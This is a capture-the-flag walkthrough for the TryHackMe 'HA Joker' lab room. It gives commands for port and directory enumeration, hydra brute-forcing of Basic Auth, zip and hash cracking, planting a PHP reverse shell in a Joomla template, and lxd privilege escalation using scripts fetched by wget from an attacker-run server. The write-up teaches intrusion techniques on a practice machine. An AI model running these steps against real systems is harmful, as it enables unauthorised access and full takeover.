TryHackMe|HA Joker WriteUp\Walkthrough (English)

HA Joker

Rook Link: https://tryhackme.com/room/jokerctf

• sudo nmap -p- IP -vv. After you know the open ports do another -sV with nmap, sudo nmap -p 80,8080,22 -vv -sV IP. By this you will get the version of Apache.

• To know which port need and do not need an authentication, use firefox to visit both 80 and 8080 ports. The port that needs authentication is port 8080.

• To find the secret file we will enumerate the files and directories on port 80 using gobuster. gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://IP/ -r -x .xml,.txt,.php. The secret file is secret.txt, and the file that reveals information of the backend is phpinfo.php.

• From the conversation you know the user is joker. 

• To brute force the url with hydra we will see what is the HTTP method that is used first and what type of authentication. An easy way to do this is by intercepting the request using burpsuite.

• From this picture we can see that the type of authentication is Basic Auth and the HTTP method is GET. hydra -l joker -P /usr/share/wordlists/rockyou.txt IP -s 8080 http-get /. we got the password ******.

• Now we need to enumerate this authenticated page with gobuster to find any interesting files or directories. gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://IP:8080/ -x .txt,.zip,.gz -U joker -P ******. There is the /administrator. We couldn’t find the backup file using gobuster so we used nikto. nikto -h http://IP:8080/ -id joker:******. There is the /backup.zip file. Once you open the url the zip file will automatically be downloaded to your machine.

• This zip seems to be protected with a password. To crack the password fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt'  backup.zip. The password is also ******.

• In the question, we have so many hints. unzip backup.zip then provide the password. We have a folder called db in it we have sql file. cat joomladb.sql > search. Then open this file in mousepad and search for “super duper user”. Take the hash of the root user to retrieve the password. First save the hash in a file using nano then crack the hash using john. sudo john [file name].

• Use this password to login to the IP:8080/administrator. The credentials are admin:abcd1234. From here look around the website for a way to upload a shell. Go to the extensions> templates> beez3. In this template you can change the code of index.php and replace it with a reverse php shell then you will get a session on the target.

• cp /usr/share/webshells/php/php-reverse-shell.php shell.php. open shell.php file and change the localhost and local port then copy the code. Go to index.php page in beez3 template, delete its contents and paste your shell code, then save the page. To be able to receive the connection set up a listener using netcat nc -nlvp [port]. To run the exploit you only need to press save then template preview. You are supposed to get a shell now.

• When you receive the connection you can know the owner of the session by whoami. And for the next question you can use id or groups.

You can see from the output that www-data belong to the group lxd, lxd is a type of container hypervisor. We will use this lxd to gain root and from there get access to the host machine.

• Search for lxd privilege escalation https://www.exploit-db.com/exploits/46978 , see the steps in the code. First you do step1 very easily. Then, in step 2 it is also straightforward. After that, step 3 you need to run the script on the victim machine, but how? You need to transfer the files you need into the victim machine. First, copy the script to your current directory using searchsploit -m 46978 then name it lxd.sh. Then, set up a python server on the folder that contains the files in your machine python3 -m http.server. After that, go to the shell on the victim machine and download the files you need.

• cd /tmp

• wget http://IP:8000/lxd.sh (The script)

• chmod +x lxd.sh

• wget http://IP:8000/alpine-v3.18-x86_64-20230627_1717.tar.gz

• ./lxd.sh -f alpine-v3.18-x86_64-20230627_1717.tar.gz

• Through this you will be root, if it wasn’t an interactive shell try to get one by /bin/sh -i or /bin/bash -i depending on the available shell. Navigate to /mnt/root to see all resources from the host machine. cd root now you are on the root folder of the host machine, ls and retrieve the flag ✨.